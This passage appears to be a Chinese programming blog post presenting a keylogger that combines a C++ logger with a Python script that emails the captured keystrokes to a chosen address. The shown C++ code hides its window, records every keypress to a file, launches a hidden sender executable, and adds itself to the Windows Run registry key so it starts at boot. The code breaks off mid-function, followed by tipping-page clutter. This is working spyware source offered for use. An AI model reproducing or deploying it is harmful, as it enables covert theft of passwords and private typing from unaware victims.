Python 基于C++ & python的键盘记录器发送指定邮箱

Python 基于C++ & python的键盘记录器发送指定邮箱

1.简介:

采用c++与python语言相结合的方法,c++负责采集键盘操作记录到文本,python脚本实时将文本内容发送至指定邮箱。资源文件已打包,可设置开机自启动。

2.kb.cpp 键盘记录实现代码:

#include <iostream>
#include <stdio.h>
#include <io.h>
#include <stdlib.h>
#include <windows.h>
#include <Winuser.h>
#include <string>
#include <fstream>
#pragma comment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"" )//隐藏窗口
using namespace std;
string GetKeyName( int );
bool JudgeShift();
void init();

int main()
{
   
	string	FileName	= "D://log.txt";
	string	KeyName		= "";
	fstream FileStream;
	init();
	while ( 1 )
	{
   	FileStream.open( FileName.c_str(), std::fstream::out | std::fstream::app );
		Sleep( 50 );
		for ( int i = 8; i <= 255; i++ )
		{
   
			if ( GetAsyncKeyState( i ) & 1 == 1 )   /* 判断虚拟按键是否按下,无论是一直按着还是按一下就弹起,只判断是否按过 */
			{
   
				KeyName = GetKeyName( i );
				FileStream.write( KeyName.c_str(), KeyName.size() );
			}
		}
		
		FileStream.close();
	}
	return(0);
}
void init(){
   
	
		// 下面的代码防止程序重复被运行 //
		HANDLE hOneInstanceMutex = ::CreateMutex(NULL, FALSE, "MyServer_is_Running");
		if(GetLastError() == ERROR_ALREADY_EXISTS)	
		{
   	
			hOneInstanceMutex = NULL;
			return ;	
		}
		///
	if ( !access("D://log.txt",0) ){
   
		Sleep(5000);
		WinExec("D://sd.exe",SW_HIDE); 
		Sleep(3000);
		remove("D://log.txt");
	}
	if ( !access("D://start.txt",0) )return;//如果已设置开机自启动 ,则不必再设置
	//printf("开始设置启动"); 
	//写入注册表,开机自启动 
	HKEY hKey; 
	//找到系统的启动项 
	LPCTSTR lpRun = "Software\\Microsoft\\Windows\\CurrentVersion\\Run"; 
	//打开启动项Key 
	long lRet = RegOpenKeyEx(HKEY_CURRENT_USER, lpRun, 0, KEY_WRITE, &hKey); 
	if(lRet == ERROR_SUCCESS) 
	{
    
		char pFileName[MAX_PATH] = {
   0}; 
		//得到程序自身的全路径 
		DWORD dwRet = GetModuleFileName(NULL, pFileName, MAX_PATH); 
		//添加一个子Key,并设置值 
		lRet = RegSetValueEx(hKey, "kb", 0, REG_SZ, 
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

创客白泽

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值